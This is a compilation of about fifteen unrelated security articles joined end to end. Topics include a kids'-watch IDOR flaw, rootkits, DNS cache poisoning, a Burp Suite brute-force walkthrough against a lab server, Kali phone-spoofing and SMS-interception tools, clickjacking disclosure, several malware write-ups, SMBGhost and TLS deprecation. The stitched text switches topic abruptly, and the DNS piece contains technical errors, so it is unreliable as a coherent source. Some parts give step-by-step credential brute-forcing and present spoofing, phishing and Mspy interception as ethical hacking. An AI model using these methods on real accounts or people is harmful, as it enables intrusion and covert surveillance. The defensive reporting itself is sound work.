Wristwatches with tracking capabilities have gained popularity over the years as an easy way for parents to keep tabs on their children. But a newly-discovered hole in a popular Misafes watch opens up these tracking capabilities to bad actors, which could ultimately threaten the physical safety of the children wearing the watches.
The Misafes ‘Kids Watcher‘ costs less than 10 Euro, and offers functions for parents like two-way calling via a SIM and cellular connection, as well as an accompanying app for parents to track their child’s location.
Researchers at Pen Test Partners found vulnerabilities in the gadget that translate into a stalker or pedophile’s ideal toolset: They could allow remote hackers to retrieve real-time GPS coordinates of the kids’ watches. Attackers could also call kids on their watches, eavesdrop on their conversations and intercept personal information about them, such as name, age and gender.
Alan Monie, researcher with Pen Test Partners, outlined in a Thursday post how he was able to launch various Insecure Direct Object Reference (IDOR) attacks on the watches.
An IDOR attack occurs when an internal implementation object (such as a file or database) is exposed to users without any other access controls. An attacker could manipulate those references to get access to unauthorized data – and from there carry out various malicious actions.
After proxying the iOS MiSafes app (using Burp), Monie found that the traffic was not encrypted – meaning that personal information, such as profile pictures, names, gender, date of birth, height and weight of children using the trackers were all being transmitted across the internet in cleartext.
Making matters worse, the only check that the API appears to perform is matching the user ID with the session_token parameter on the tracker. So an attacker could simply change the family_id in the get_watch_data_latest parameter of the API to find out the watch’s location and device_id associated with that family.
“The family_id was sequentially generated, so we swapped that with another family_id that we also owned and we were able to get the location data for the other watch,” Monie told Threatpost. “This also returned a device_id which we could then use to get the child’s phone number.”
From there, Monie was able to view near-real-time location data for the watch (since it updates the GPS coordinates to the API every five minutes) and previous locations the watch had been to.
Using data from the API, researchers were also able to spoof a call to the watch (as they could retrieve information to get both the child’s and parent’s phone numbers) and activate a “Monitor Mode” that lets them to listen to the child.
Monie said that Misafes did not respond to multiple attempts at contact. The company also did not respond to a request for comment from Threatpost. However, said Monie, the product has been pulled from eBay and is no longer available on Amazon.
“The API could be fixed by MiSafes, but the device uses an internal whitelist to decide whether to allow the child to answer the call,” he said. “This is difficult to fix. MiSafes would need to update the firmware in all the watches. Our advice is to stop using this watch.”
While many IoT devices are not secure, there seems to be something extra insidious about devices used by children. Last year, CloudPets connected teddy bears were found to have exposed 2.2 million voice recordings between parents and their children in a significant data breach. And other privacy glitches were discovered in other connected toys, like Genesis Toys’ My Friend Cayla doll (which has been banned in Germany) and Mattel’s Hello Barbie doll.
“Until consumers or industry bodies start asking for certain security standards to be met, or suppliers publish their security testing reports, I think the race to market will take priority over security, sadly,” Monie told Threatpost. “With so many cheap IoT devices out there, security researchers won’t be able to test them all. Hopefully other countries will follow Germany’s example where they banned the Cayla doll, and if bans happen for weak security, then maybe that will put pressure on manufacturers.” |
Complete suite of tools to assess WiFi network security.
Aircrack-ng focuses on different areas of WiFi security:
- Monitoring: Packet capture and export of data to text files for further processing by third party tools
- Attacking: Replay attacks, deauthentication, fake access points and others via packet injection
- Testing: Checking WiFi cards and driver capabilities (capture and injection)
- Cracking: WEP and WPA PSK (WPA 1 and 2)
All tools are command line which allows for heavy scripting. A lot of GUIs have taken advantage of this feature. It works primarily on Linux but also Windows, macOS, FreeBSD, OpenBSD, NetBSD, as well as Solaris and even eComStation 2. |
A rootkit permits attackers to obtain access to and steal data from a user’s device without being detected for long periods of time. The spread of this malicious software has increased the development of rootkit scanner tools, which are used for regularly scanning your device and removing rootkits with the help of rootkit removal software.
Rootkits are basically used for:
- Escalating the privilege level in which the malware operates.
- Concealing other malware that cybercriminals may later install as part of a sustained attack.
- Allowing the malware to bear reboots and removal attempts by anti malware and other tools.
- Providing an attacker with ongoing full access, mostly through backdoors.
- Establishing or enhancing stealth, making it complicated for security analysts and most anti malware products to detect the malware that the rootkit is designed to protect
Rootkit Infection Methods
Several different methods are used for installing rootkits. The most common is by using a vulnerability in the operating system or an application running on the computer. Attackers target known vulnerabilities in the OS and applications and make use of the exploit code to obtain a special position on the target machine. This is followed by installing the rootkit and setting up components that permit remote access to the computer. The exploit code for a particular vulnerability can be hosted on a genuine website that has been compromised.
Another rootkit infection method is via infected USB drives. In this method, attackers leave USB drives with rootkits hidden on them in places where victims can easily pick them up, such as coffee shops and office buildings. There are also instances in which the rootkit installation may still depend on security vulnerabilities, but in others, the malware could get installed as part of an evidently genuine application or file on the USB drive.
Rootkit Infection Symptoms
A rootkit primarily focuses on hiding in order to remain installed and accessible on the targeted system. Because of this, rootkit developers aim at keeping their malware undetectable, meaning there may not be too many symptoms that flag a rootkit infection.
One common sign of a rootkit infection is that anti malware protection stops working. This eventually indicates that there is an active rootkit infection. Another symptom is when Windows settings change without any apparent action by the user. Unusual occurrences like background images changing or disappearing in the lock screen or pinned items changing on the taskbar are signs of a rootkit infection. You may also be experiencing a rootkit infection if you observe unusually high CPU usage or slow performance.
How do Rootkits Work?
Rootkits basically provide access to all your folders through administrative powers, allowing the hacker to do whatever they want with your computer. All users should be aware of the threat they pose.
Generally, rootkits go much deeper than the normal virus. They can even infect your BIOS (the part of your computer that is independent of the OS), making them difficult to remove. Rootkits rely on clandestine methods to infect computers, as they cannot spread by themselves. They basically hide in software that may appear to be genuine and could provide genuine functions.
When a rootkit installer program is given access to be installed on a user’s PC, it secretly hides itself until activated by a hacker. A rootkit comprises of malicious tools, including password stealers, banking credential stealers, antivirus disablers, keyloggers, and bots for distributed denial-of-service attacks.
Rootkits are typically installed via the same common vectors as any malicious software, including executable malicious files, email phishing campaigns, crafted malicious PDF files or Word documents, downloaded software from risky websites, or shared drives that have been compromised.
What is the Best Rootkit Removal Tool?
We recommend Comodo Antivirus as the best rootkit removal tool/rootkit scanner available due to its unique security features that play a major role in effectively preventing not just rootkit infections but also a wide range of malware types like trojans, keyloggers, ransomware, adware, and more. This virus removal tool from Comodo guarantees to provide the best protection your PC needs through key security features like:
- Viruscope: This technology is responsible for monitoring all the processes running on your PC and alerting you when a process acts abnormally or has gone rogue. These are indications of a malware infection. These unwanted and strange processes can be reversed or undone with the help of this technology.
- Default Deny Approach: This unique technology guarantees that all applications or files are denied entry into your PC by default, whether they are unknown, blacklisted, or even whitelisted. These files and applications will have to prove that they are harmless in order to enter your PC.
- Host Intrusion Protection (HIPS): The Comodo HIPS protects system critical folders or files from malware infections by imposing a set of security rules that provide high levels of protection. This HIPS rule-set can also be customized.
Install Comodo Antivirus as a rootkit scanner to remove and prevent rootkit infections in your computer. |
03 Aug Opener – The underestimated vulnerability
The opener vulnerability is based on a lack of hardening of externals links. The following code shows a basic sample of an external vulnerable link.
Capture 1 – Basic external link
An external link can be easily recognized by the attribute . When a link has this attribute, he will open in a new tab.
The “document.referrer” gives the url from where the user comes.
And the “opener.location.href” gives an access to the parent tab.
The child tab can use the opener property to redirect the tab to a new location.
An attacker can redirect the parent tab to a custom page which requires authentication.
For the use case the website vuln-opener.nes-lab.intra was made vulnerable to the opener vulnerability:
Capture 2 – Basic external link with the security Same Origin Policy (SOP)
The evil domain h4ck3r-fr0m-sp4c3.intra contains the following code:
Capture 3 – Evil code
- The link doesn’t have the property “noopener”, so in the child tab the object “opener” is not empty
- The child tab redirects the parent tab to a custom page (document.referrer contains the url of the parent tab).
- The child tab shows a custom message :
Capture 4 – Malicious redirect
The parent tab is now owned by the hacker:
Capture 5 – Page owned by the hacker
An attacker can use this vulnerability to steal users’ credentials by making a fake authentication page.
The vulnerability can be spotted by the user if they take care of the url.
In order to fix this vulnerability, all links with the property need to have this property:
Chrome blocks the opener object if the property “rel” contains “noopener” or “noreferrer”. But we advise you to put both keywords.
Capture 6 – Secure external link
Capture 7 – Secure external link
If you are vulnerable and you cannot patch all links, you can use the following code:
Capture 8 – Patch all links dynamically
Written by Guillaume NUEL |
I find myself fond of DNS, as I’m sure most of you do. After all, if we had to search up websites by their IP address instead of putting in a name, we’d be less thrilled about actually using the Internet. What would you remember more? www.disney.com or 192.168.10.11?
While DNS has been nothing but convenient for us, there is a certain risk in the way that DNS works and is implemented. Security-wise, DNS is at risk of what is known as “cache poisoning”, also known as DNS spoofing. While this can be harmless, cybercriminals have used this form of sabotage as a way to trick users into visiting the wrong sites. So, what is it, how does it work, and how can you avoid it?
What is Cache Poisoning?
With DNS, a website name has an IP address linked to it. If you search for the aforementioned Disney.com, the connection will ask for the DNS information for Disney.com so it can receive an IP address. Quick, simple, and convenient for the user.
This is done by servers known as DNS “resolvers”. They “resolve” the domain name into an IP address that a computer can understand. But, resolvers cannot verify the information that is input into it, which leads to the risk of cache poisoning.
Cache poisoning occurs when false information is logged into a DNS cache. If someone wanted to, they could sabotage the DNS cache of Disney.com to lead to iwantyourmoney.com. No one is safe from this type of sabotage, not even entities such as the U.S. government.
How Does it Work?
When you search for a website, your search engine will make a request to a DNS resolver asking for the IP address. The IP address is then handed down to the search engine so you can connect to the site in question.
All an attacker would need to do to poison a DNS cache is to impersonate a DNS nameserver, send a request to a DNS resolver, and then forge the reply. Essentially, the attacker just switched the bathroom signs and let people walk into the wrong one.
Why Does it Work Like That?
DNS is a byproduct of the time when the Internet was on a small-scale, only being used for specific locations like universities. No one was ready to predict that DNS would be used for attacks, and that’s why it uses UDP.
UDP is a protocol that essentially lets data go unsupervised. While it’s not that secure, it’s pretty fast, which is why it’s mostly in use today for sites such as YouTube, Twitch, Netflix, etc., where speed is the difference between a 2-second buffer and a 5-minute buffer.
For a more secure form of DNS, we’d want to use TCP, which requires verification on both ends of the connection. Sure. It’s slower than UDP, but it doesn’t matter when it comes to things like DNS. The peace of mind that TCP would bring is worth the couple extra seconds that is gained by the use of TCP.
Preventing Cache Poisoning
So, while the process of cache poisoning sounds easy, it’s actually pretty difficult for an attacker to successfully poison a DNS cache. There are dozens of variables that an attacker would need to predict in order to reap success, such as the port that the DNS resolver is using, the request ID number, if the cache is even targeted by the DNS resolver in the first place, etc.
If you are truly worried about becoming the victim of DNS cache poisoning, there are ways to check if you are at risk of becoming a victim of such attacks. Alternatively, there are also tools to help you find out if you are experiencing DNS leaks, which is when your DNS server is leaking your IP information. Either way, a heads-up would help you prepare and upgrade your security.
Other than preparing, there really isn’t much that can be done until a more secure form of DNS becomes mainstream, such as DNSSEC, which requires verification for a DNS request. |
Kali Linux is a tool that’s well suited to pen testing, and this extends beyond the usual arena of IT security research and ethical hacking.
Making use of this distro to tinker with phone numbers and text messages is an excellent example of this, and can be useful for businesses that want to protect themselves from malicious third parties that might seek to interfere with their telephony setup.
You need to know a few things about making the most of Kali Linux’s abilities in this arena before you dive in, so here are the main talking points to consider and some advice on where to get started.
SMS verification can be simplified
A straightforward yet effective tool known as Fake SMS is able to streamline the kind of verification solutions which are commonplace for various services today.
As the name suggests, you’ll be able to generate fake phone numbers which can receive messages, acting as a proxy for a genuine mobile device.
Use of this tool is not wise if you’re looking to handle individual transactions, such as from your personal banking provider. Like many Kali Linux bolt-ons, it’s best for experimenting with in-house security, probing for vulnerabilities, and testing the viability of SMS verification in the face of criticism.
Phone numbers can be extracted from email info
Kali Linux supports a tool that is capable of taking an email address and extrapolating a phone number from it using brute force methods.
The vulnerabilities being exploited here lie in the way that websites that have phone numbers attached to user accounts allow for password reset requests to be generated, using correlation of public data.
How to get a second phone number (and keep your primary number private)
Using a mainstream VoIP service, or choosing a Google Voice alternative, is a good way to generate and use additional numbers that all redirect to the same endpoint, whether that’s a landline, a desktop workstation, or a mobile device.
If you’re using Kali Linux for pen testing, having a secondary phone number is useful because it means you can get a geographic number assigned even if you aren’t based in the part of the world you’re targeting. This gives you an alternative to using tools like the aforementioned Fake SMS.
Social engineering is still the preferred method for duping targets and extracting data
Often the way that pen testers make use of Kali Linux to subvert phone security and intercept SMS communications or mess with call forwarding is by using social engineering-led attacks.
For example, sending out emails with spoofed addresses so that the recipient thinks that they are from a legitimate source in order to extract their phone number from them is commonly put into practice.
There are also SMS tools like XGnokii, and locally installable solutions like Mspy which enable additional spoofing and interception, once a user’s number is known or their device has been compromised in another way.
It’s basically an indication that a combination of tactics and solutions will lead to the best results for the purposes of ethical hacking, with Kali Linux putting all this and much more at your fingertips.
Ideally, with the help of Kali Linux and its capabilities relating to phone numbers and SMS texts, you’ll be able to find flaws in security systems and practices you’re currently using, so that these can be fixed.
Training team members to detect suspicious activity and recognize social engineering attacks is also vital, because tech can only go so far to protect modern businesses. |
Monday, April 2, 2018
HTTP Basic Authentication bruteforce attack with Burp proxy
HTTP BASIC AUTHENTICATION BRUTEFORCE ATTACK WITH BURP PROXY
- Layout for this exercise:
- This exercise is based in the previous post Setting up HTTP Basic Authentication.
- In this case the goal is to bruteforce HTTP Basic Authentication using the Burp Suite Proxy.
- First of all, let's enable manually a proxy connection at the Firefox browser of Kali Linux.
- Firefox -> Preferences -> Advanced > Network > Connection Settings:
- Manual proxy configuration: listening on localhost port 8080:
- Launching Burp:
- Options tab: checking that the proxy is listening on the localhost interface at port 8080:
- Connecting the browser to the web page protected with Basic Authentication:
- Burp intercepts the request to the web page:
- Forwarding the request:
- The Apache web server responds with the "Authentication Required" message. Let's introduce some arbitrary credentials, for instance "asdfg:asdfg":
- Burp intercepts the sending credentials:
- Now, Burp will help us to craft those sending credentials. For that purpose, the message is sent to the Intruder:
- The target of the attack is www.whitelist.com:
- The Positions tab helps to specify where to insert the payload for the attack. Decoding with Base64, the fake credentials "asdfg:asdfg" are revealed:
- Putting the username:password space between the section sign §:
- Going to the next tab, Payload sets the type of attack: Brute forcer.
- In this example the character set is simple, just 2 letters (ab), and the minimum and maximum number of characters is 5.
- Adding a processing rule for the prefix "admin:", corresponding to the username:
- Adding a processing rule for Base64 encoding, used by Basic Authentication:
- The two rules for proccessing the payload:
- It is also very important to remove the character = for encoding, because = is used by Base64 for padding:
- The attack is ready to be started:
- Because the charset is 2 and the number of characters is 5, the total number of tries will be 2^5 = 32.
- The attack starts, and the response status is 401 until a 200 answer is received. Obviously, the 200 message corresponds to a successful try:
- Decoding with Base64:
- The result is the correct credentials "admin:ababa":
- The web server responses, as expected, with the HTML code of the web page:
- Removing the proxy:
- Finally, authenticating the correct credentials the web page is available: |
Machine learning models have proven to have the ability to make accurate predictions on complex data tasks such as image and graph data. However, they are vulnerable to various backdoor and data poisoning attacks which adversely affect model behavior. These attacks become more prevalent and complex in federated learning, where multiple local models contribute to a single global model communicating using only local gradients. Additionally, these models tend to make unfair predictions for certain protected features. Previously published works revolve around solving these issues both individually and jointly. However, there has been little study on how the adversary can launch an attack that can control model fairness. Demonstrated in this work, a flexible attack, which we call Un-Fair Trojan, that targets model fairness while remaining stealthy can have devastating effects against machine learning models, increasing their demographic parity by up to 30%, without causing a significant decrease in the model accuracy. |
Vulnerabilities in software are nothing new, but the ease and speed in which they can be exploited is.
Last week's Slapper worm, which took advantage of a flaw in OpenSSL, was created only a month after the existence of the flaw became widespread knowledge in August. Slapper attacks Linux machines running the Apache Web server with the vulnerable versions of OpenSSL, an open-source version of Secure Sockets Layers (SSL).
The worm's source code was distributed throughout the Web, which has become the pre-eminent clearinghouse for information about exploiting vulnerabilities. In fact, the time gap between a vulnerability being discovered and the creation of a worm or exploit to take advantage of it is shrinking. The Web is the main driver of this shift, experts say.
In fact, less accomplished worm writers used the available source code of the worm to create two Slapper variants: Slapper.B and Slapper.C. Antivirus experts also fear that more sophisticated writers will use the code to craft other worms that exploit other vulnerabilities.
"The Internet is a great place for communication, but it has a bad side as well," said David Litchfield, a well-known vulnerability-finder and co-founder of Next Generation Security Software, which is based in Sutton, England.
Another factor in the closing gap is the better skill sets of many malicious hackers. For example, in the last five to 10 years, the number of people who could write an exploit to trip a stack-based buffer overflow has increased significantly, Litchfield said.
The Internet, however, has made programming knowledge a moot point in some ways. All it takes is one savvy programmer to write an exploit that is distributed via the Web. An attacker can find the code and literally cut and paste it to exploit a vulnerability, Litchfield said.
One way of preventing such information sharing is to choke the flow of information itself. Some argue that the details of a vulnerability should be tightly controlled so that malicious attackers can't write code to exploit it.
Litchfield's counter-argument: users need that information to create fixes or come up with workarounds to protect themselves. Developers also need to study vulnerabilities in detail so they don't make the same mistakes when writing code, he said.
"Information is like guns. When it's in the hands of bad people they can do harm," Litchfield said. "But if they are in the hands of good guys like cops, then they can be used to prevent crime."
The debate over full disclosure of vulnerabilities is not likely to go away soon.
Robert Lonadier, president of Boston-based analyst firm RCL Associates, said there are no easy answers to the debate. Other issues are also afoot.
For example, software vendors should take more responsibility for vulnerabilities and release more secure products, Lonadier said. Yet as software becomes more and more complex, even vendors can't find all the vulnerabilities, he said.
"Users should start thinking about going after classes of exploits, not specific ones," Lonadier said, noting that products like antivirus software, intrusion detection systems and behavior-based intrusion detection can address this. |
Security researchers Jeremiah Grossman and Robert “RSnake” Hansen have been working on developing several proof of concept exploits based on clickjacking techniques that affect websites on all browser platforms. They intended to present them at the OWASP AppSec Conference in New York later this month; however, after collaborating with Adobe in regard to one of the exploits, they had a change of heart and postponed the demo as a more serious underlying flaw was discovered.
Clickjacking is not a new type of attack, but is somewhat surrounded in a shroud of mystery. The concept behind clickjacking is that through not so highly complex tools or advanced skills, one could hijack user mouse “clicks” and use them for questionable activities. A WhiteHat Security presentation overview notes some of the things that can be done with clickjacking - “generating affiliate advertising revenue from the Website traffic of others, trade stock using corporation information passively gleaned, inhibit the online purchase of sought after items creating artificial scarcity, and so much more.” The problem with such activities is that they are considered “business logic flaws” rather than illegal, as they are not explicitly covered by any current laws.
All this makes clickjacking attacks very hard to track, monitor or detect. There is scarce information about prevention or how widespread they actually are and this is exactly the reason why Jeremiah Grossman and Robert “RSnake” Hansen developed the proof of concept exploits that were to be demonstrated at the OWASP conference. They were trying to raise awareness that these are serious issues that should be more actively monitored and discussed.
Jeremiah Grossman, founder and Chief Technology Officer of the WhiteHat Security company, explains
on his blog what the three exploits were about and how they shared their research with Microsoft, Mozilla and Adobe in an attempt to practice responsible disclosure. While working on these exploits, they arrived to the conclusion that clickjacking is a problem that needs to be addressed by browser vendors rather than web developers, because these attacks are so generic that practically all web developers should patch their own websites, which is far from an applicable solution.
In this regard, they contacted Microsoft and Mozilla, but since one of their exploits was also making use of an Adobe product, they also presented their findings to Adobe's Product Security Incident Response Team (PSIRT). What the researchers didn't realize until later is that the attack technique used in their exploit was based on a critical security flaw in the Adobe product. “One Clickjacking PoC utilized an Adobe product with an attack technique they considered to be a critical issue, we just hadn’t realized it, so we narrowly avoided 0-day’ing them!”, notes Mr. Grossman.
At the same time, Robert Hansen, CEO and Founder of the SecTheory security firm and also member of many international security-related projects and organizations, posted
on his own blog that they've “discussed the high level concern with both Microsoft and Mozilla and they concur independently that this is a tough problem with no easy solve in sight at the moment.” Since browser developers will be unlikely to come up with a complete and permanent fix very soon and instead they will deploy small patches in order to fix parts of the problem, Adobe requested for more time in order to patch their own product. The security researchers felt morally obligated to temporarily cancel the speech instead of going ahead with a heavily neutered version of it.
Both Jeremiah Grossman and Robert Hansen pointed out that this was a voluntary decision and that they were not forced in any way. “I must stress, this is not an evil “the man is trying to keep us hackers down” situation, a la Michael Lynn vs. Cisco, or Chris Paget vs. HID, or MIT vs. MBTA and so on,” says Mr. Hansen. Mr. Grossman points out that “at this time just about everyone out there using the latest versions of Internet Explorer (including version 8) and Firefox 3 is affected. “ He also claims that “the only fix is to disable browser scripting and plugins” and adds that he does “realize this doesn’t give people much technical detail to go on, but it’s the best [they] can do right now.”
David Lenoe, Product Security Program Manager at Adobe, posted
about this on the Adobe PSIRT blog noting that they “worked together with Robert and Jeremiah to assess the impact of this issue, and they [the researchers] determined that it was in [Adobe's] customers’ best interest to refrain from making this issue public until Adobe and web browser vendors have a chance to provide a fix or fixes to [their] mutual customers”.
Tom Brennan, Board Member & Chapter President at OWASP as well as TCM at WhiteHat Security, sees things a bit differently and he noted
in an e-mail that he believes "a information security conference with industry peers from around the world IS the place to discuss/debate topics such as these and they should NOT be suppressed by anyone." He also added that "this is not the only security person that will be providing breaking research, however this is the 1st that has been told not to talk about it thus far". |
A remote code execution vulnerability has been identified in Windows Domain Name System (DNS) servers where they fail to properly handle certain requests. This affects Windows Server 2012 R2, Windows Server 2019, Windows Server 2016, and Windows 10.
An attacker who successfully exploits this vulnerability could run arbitrary code in the context of the Local System Account.
How does this affect your organisation?
In most cases Windows DNS servers are used within organisations but not exposed to the internet. This will limit the exposure of most organisations but not mitigate all potential attack vectors (such as internal threats). Customers are recommended to review their environment and apply the appropriate security patches in their next security patch cycle.
If you are a customer of AC3 Managed Services, AC3 will be in contact to organise an appropriate window to apply these patches.
For more information about this vulnerability please refer to the links at the end of this alert.
Threat rating and recommendation
Based on information available at the time of this notice, we have classified this threat as Warning.
Customers are recommended to review their environment and apply the appropriate patches in their next security patch cycle. If you have an internet facing Windows DNS server it is recommended to apply the appropriate patches as soon as possible.
Advice - no urgent remediation action required
Warning - watch and act
Action required - urgent remediation action required
More information about this security vulnerability is available at the links below. |
When the Trojan is executed, it creates the following file:
The above file is then copied to the following location:
The Trojan also creates the following configuration file that stores command-and-control (C&C) server information:
Next, the Trojan creates the following registry entry so that it executes whenever Windows starts:
HKEY_CURRENT_USER\Software\Micorsoft\Windows\CurrentVersion\Run\"Update" = "%UserProfile%\Application Data\googleupdate.exe"
It also creates the following registry entry:
HKEY_CURRENT_USER\Software\Classes\"softbin" = "[BINARY DATA]"
Next, the Trojan ends any of the following antivirus-related processes, if present:
It may then inject code into certain processes on the computer.
Next, the Trojan opens a back door and allows a remote attacker to gain access to the computer.
It then collects system-related information and may send it to a remote location.
Symantec Security Response encourages all users and administrators to adhere to the following basic security "best practices": |
Security researchers became aware of a new variant of Adwind jRAT, a remote access Trojan that uses Java to take control and collect data from a user’s machine–namely login credentials. Malware that takes advantage of common Java functionality is notoriously difficult to detect or detonate in a sandbox for the simple fact that Java is so common on the web. In fact, any effort to block or limit Java would result in much of the internet breaking down–a non starter for users who increasingly rely on rich web apps or SaaS platforms for their day-to-day responsibilities.
New jRAT/Adwind variant sends normal JAVA commands to appear legitimate https://t.co/gMFkcOHwI4 pic.twitter.com/QBk9r2CMmS
— Virus Bulletin (@virusbtn) October 30, 2019
The only way to quickly identify and block this sort of attack would be by using behaviour analytics to identify the anomalous behaviour, as well as the use of automation and orchestration to automatically block the transactions or traffic flow.
When attackers manage to hijack legitimate access rights, they can remain undetected for extended periods of time. Many organisations don’t have the ability to identify subtle behavioural anomalies that are indicators of cyber threats. But with advanced machine learning algorithms it’s possible to spot behaviours that are outside the range of normal activities and intervene before the damage is done.
Using behaviour analytics allows the businesses to quickly identify and remediate threats while searching for the compromised account(s) or machines.
The best defence against malware delivered via email and web is a combination of education and technology. An email gateway technology should always be in place. Organisations should start with their email provider and work from there.
Per device firewalls and malware detection tools may eliminate threats that make it past the first line. Employing password managers and forcing multiple factors of authentication can also slow down an attacker if they manage to get credentials.
Furthermore, running a malware scan will help pick up the known malware. The scanning tool will need to be maintained and updated in order to provide the most secure web presence. Many malware technologies successfully utilise masking and obfuscation to avoid detection. This may require logging and monitoring as well as regular scanning in order to detect and eliminate the threat.
If you can\’t disable Java, providing comprehensive security training to employees can significantly reduce the risk of a successful infection. Training people to only interact with PDFs and mails that they are expecting is the first and possibly most comprehensive way to block threats coming through that avenue. |
The Computer Emergency Response Team of Ukraine (CERT-UA) has warned that more than 2,000 computers in the country have been infected by a strain of malware called DirtyMoe.
The agency attributed the campaign to a threat actor it calls UAC-0027.
DirtyMoe, active since at least 2016, is capable of carrying out cryptojacking and distributed denial-of-service (DDoS) attacks. In March 2022, cybersecurity firm Avast revealed the malware’s ability to propagate in a worm-like fashion by taking advantage of known security flaws.
The DDoS botnet is known to be delivered by means of another malware referred to as Purple Fox or via bogus MSI installer packages for popular software such as Telegram. Purple Fox is also equipped with a rootkit that allows the threat actors to hide the malware on the machine and make it difficult to detect and remove.
The exact initial access vector used in the campaign targeting Ukraine is currently unknown. CERT-UA is recommending that organizations keep their systems up-to-date, enforce network segmentation, and monitor network traffic for any anomalous activity.
The disclosure comes as Securonix detailed an ongoing phishing campaign known as STEADY#URSA targeting Ukrainian military personnel with the goal of delivering a bespoke PowerShell backdoor dubbed SUBTLE-PAWS.
“The exploitation chain is relatively simple: it involves the target executing a malicious shortcut (.lnk) file which loads and executes a new PowerShell backdoor payload code (found inside another file contained within the same archive),” security researchers Den Iuzvyk, Tim Peck, and Oleg Kolesnikov said.
The attack is said to be related to a threat actor known as Shuckworm, which is also known as Aqua Blizzard (formerly Actinium), Armageddon, Gamaredon, Iron Tilden, Primitive Bear, Trident Ursa, UNC530, and Winterflounder. Active since at least 2013, it’s assessed to be part of Russia’s Federal Security Service (FSB).
SUBTLE-PAWS, in addition to setting up persistence on the host, uses Telegram’s blogging platform called Telegraph to retrieve the command-and-control (C2) information, a technique previously identified as associated with the adversary since early 2023, and can propagate through removable attached drives.
Gamaredon’s ability to spread via USB drives was also documented by Check Point in November 2023, which named the PowerShell-based USB worm LitterDrifter.
“The new SUBTLE-PAWS attack payload can be viewed as an evolution of the attack payloads by the malicious threat actor involved in the [LitterDrifter] campaign,” Kolesnikov, vice president of threat research and data science/AI at Securonix, told The Hacker News.
“For instance, LitterDrifter is vbscript-based. SUBTLE-PAWS is PowerShell. There are also differences in how these payloads work, SUBTLE-PAWS uses a different persistence mechanism, for example.”
“The SUBTLE-PAWS backdoor uses advanced techniques to execute malicious payloads dynamically,” the researchers said.
“They store and retrieve executable PowerShell code from the Windows Registry which can assist in evading traditional file-based detection methods. This approach also aids in maintaining persistence on the infected system, as the malware can initiate itself again after reboots or other interruptions.” |
Yet more security concerns, this time from Microsoft via TechRadar. The Cybersecurity and Infrastructure Security Agency (CISA) has issued a warning to all unpatched Microsoft Systems. CISA, part of United States Homeland Security, has found exploit code for a “wormable” bug online.
Originally discovered in a Github post. The exploit code targets a known flaw in the server message block tool that allows windows to communicate with other devices for example servers and printers.
“Although Microsoft disclosed and provided updates for this vulnerability in March 2020, malicious cyber actors are targeting unpatched systems with the new PoC, according to recent open-source reports. CISA strongly recommends using a firewall to block SMB ports from the internet and to apply patches to critical- and high-severity vulnerabilities as soon as possible.”CISA.
Once deployed the bug known as SMBGhost, can allow the attacker to run download malware on the target computer remotely. Its fast spreading across any other devices on the same network, hence the name ‘wormable’.
CISA strongly recommends updating all Windows systems if you haven’t already.
Further guidelines for Users and Administrators: |
Backdoor.Mishko is a threat that is distributed to users via spam emails. Mishko is a backdoor Trojan that allows remote code execution on compromised systems and can be deployed by Trojan droppers like Sventore and FrauDrop as well. The threat is named after one of the sites it uses as its 'Command and Control' server — mishko.piranho.com. Backdoor.Mishko needs to have administrative privileges on the OS to work correctly. Therefore, users may notice a UAC (User Account Control) prompt from an unknown file when Mishko is being installed. Backdoor.Mishko is known to run as sysmgr.exe within the svchost.exe host process by Windows. Backdoor.Mishko is not as sophisticated as the Trochilus RAT and is likely to lack a digital signature.
Malware researchers report that the Mishko backdoor Trojan is programmed to access native Windows tools to facilitate some of its functions. Mishko is known to execute commands via the rundll32.exe module that is used to handle functions exported from a DLL. Rundll32.exe ships with Microsoft Windows OS and is used by legitimate programs as well. Therefore, you should not delete it. The Mishko backdoor Trojan ensures its operations on the next restart by editing autoexec.bat, which is used by Windows to run programs on boot. Additionally, Mishko may inject code into Microsoft Office and Internet Explorer. Backdoor.Mishko may store its files in the Temp folder where temporary Internet files are stored. Security investigators add that the Mishko threat can send control codes to device drivers for the keyboard, mouse, video and audio card directly. Computer users that are infected with Mishko may notice unsolicited modification to their programs and file system. You will need a trusted anti-malware tool to remove the Mishko Backdoor Trojan. |
The SSL/TLS security protocols have been designed and implemented to provide end-to-end data security. This includes data integrity that is the data cannot be modified, replayed or reordered by an attacker without being detected at the receiving endpoint. As with any technology, SSL/TLS has its flaws. Successful attacks on a security protocol defy its purpose and jeopardizes the integrity, confidentiality and authenticity of information transmitted.
Securely sending information over the Internet is a foundation of online commerce, medicine, and other sensitive transactions. It is, therefore, critical that transmitted information not be tampered with, forged, or read by anyone other than the sender and receiver. These features are critical and have been a key part of the Internet growth.
One of the most important ways to keep your data effectively encrypted is to replace older encryption standards with newer ones. The increased processing power of computers allows for faster cracking of otherwise strong security protocols. On the other hand, security researchers and cyber attackers alike discover every day new vulnerabilities waiting to be exploited. Everyone who understands even the basics of cryptography knows that every security protocol and cipher has an expiration date, or as Kim Crawley puts it, a “best before date.”
Internet Engineering Task Force (IETF) has released a document where they explicitly state that TLS 1.0 and TLS 1.1 must not be used and they plan to deprecate both protocols by the end of 2019.
It is true that both protocols can be considered as “ancient history” in terms of internet and computer times. TLS 1.0 is already twenty years old as it was first deployed in January 1999. Not surprisingly, the Payment Card Industry (PCI) has deprecated TLS 1.0 since 30 June 2018. Now any e-commerce site or retailer which still uses TLS 1.0 to encrypt credit card transactions will fail PCI compliance. Therefore, PCI has provided guidance to use TLS 1.1, 1.2, or 1.3 in order to securely process credit card payments.
On the other hand, TLS 1.1 was released in April 2006. It only had minor improvements from TLS 1.0, and was developed to address weaknesses discovered in TLS 1.0, primarily in the areas of initialization vector selection and padding error processing.
Both protocols have various vulnerabilities and the specific details on attacks against them as well as their mitigations are provided in NIST SP800-52r2 among other documents.
In line with the IETF, Microsoft, Apple, Google, and Mozilla declared that their “best before date” for both TLS 1.0 and TLS 1.1 is March 2020. The major web browser developers have announced that they will drop TLS 1.0 and TLS 1.1 nearly a year and a half in advance in order to give web-hosting companies and cloud services providers plenty of time to phase the old versions out.
Martin Thomson wrote for Mozilla’s blog: “In March of 2020, Firefox will disable support for TLS 1.0 and TLS 1.1. Though we are not aware of specific problems with TLS 1.0 that require immediate action, several aspects of the design are neither as strong or as robust as we would like given the nature of the Internet today. Most importantly, TLS 1.0 does not support modern cryptographic algorithms.”
